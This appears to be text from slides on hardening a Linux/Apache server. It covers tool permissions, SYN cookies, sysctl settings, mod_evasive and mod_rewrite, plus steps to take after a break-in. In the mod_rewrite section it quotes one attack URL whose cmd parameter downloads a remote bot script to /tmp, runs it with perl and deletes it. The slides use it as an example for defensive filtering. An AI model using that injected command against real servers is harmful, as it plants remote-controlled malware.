Main Topics
Disabling tools
SYN cookies
sysctl
Apache modules
What to do if your hacked.
Disable common tools
Disable common tools for non-wheel or root users.
chmod 750 /usr/bin/rcp
chmod 750 /usr/bin/wget
chmod 750 /usr/bin/lynx
chmod 750 /usr/bin/links
chmod 750 /usr/bin/scp
SYN Cookies
A server that uses SYN cookies doesn't have to drop
connections when its SYN queue fills up.
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
Sysctl.conf
Sysctl hardening will help prevent spoofing and dos
attacks.
/etc/sysctl.conf
Sysctl.conf cont.
# Disables packet forwarding
net.ipv4.ip_forward=0
# Disables IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.lo.accept_source_route = 0
net.ipv4.conf.eth0.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0
# Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
# Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
Sysctl.conf cont.
# Enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 1
net.ipv4.conf.lo.log_martians = 1
net.ipv4.conf.eth0.log_martians = 1
# Disables the magic-sysrq key
kernel.sysrq = 0
# Decrease the time default value for tcp_fin_timeout connection
net.ipv4.tcp_fin_timeout = 15
# Decrease the time default value for tcp_keepalive_time connection
net.ipv4.tcp_keepalive_time = 1800
# Turn off the tcp_window_scaling
net.ipv4.tcp_window_scaling = 0
Sysctl.conf cont.
# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1
# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1
# Increase the tcp-time-wait buckets pool size
net.ipv4.tcp_max_tw_buckets = 1440000
Sysctl.conf
Replace 'eth0' with primary network interface
Enable changes
– /sbin/sysctl -p
– /sbin/sysctl -w net.ipv4.route.flush=1
http://ipsysctl-tutorial.frozentux.net/ipsysctl-tutorial.html
mod_evasive
Apache module which helps protect against DoS
attacks.
A default configuration blocks the offending IP for 10
minutes.
Do not enable with Frontpage.
mod_evasive cont.
cd /usr/local/src
wget http://www.zdziarski.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/usr/local/apache/bin/apxs -cia mod_evasive.c
<IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>
http://www.zdziarski.com/projects/mod_evasive/
mod_rewrite
Apache module which can be used to prevent
attacks using insecure and outdated scripts.
Rules based URL parser
Setup rules to search for commands within URL's.
http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html
http://nxlf.cn/1?&cmd=cd+/tmp;wget+http://nxlf.cn/borek.txt;perl+bot.txt;rm+-rf+bot*
What to do if your hacked
Unplug the server from the network
If it has been rooted, unplug the power cable and
mount the drive as slave or use a liveCD.
Check tmp for any files that seem suspicious.
– cd /mnt/newdrive/tmp
– ls -alh
– Check for any files with executable permissions.
Hacked cont.
Begin investigating the logs for anything that may
seem suspicious.
– use egrep to search for script names in apache logs
• egrep r3wt /usr/local/apache/logs/*
Stop the httpd server and check what files are being
accessed by the user 'nobody'
• /usr/local/apache/bin/apachectl stop
• lsof -u nobody
Check the output of 'ps -aux' for any suspicious
processes.
Hacked cont.
If you are successful in finding the reason the server
got hacked, investigate the scripts involved to find
what was modified.
Be sure to clean all suspicious scripts from server
and check to make sure a rootkit hasn't been
installed.
If a server has been rooted, it's best to format the
drive and reinstall the OS to be sure no files remain
modified which will allow a future attack to occur.
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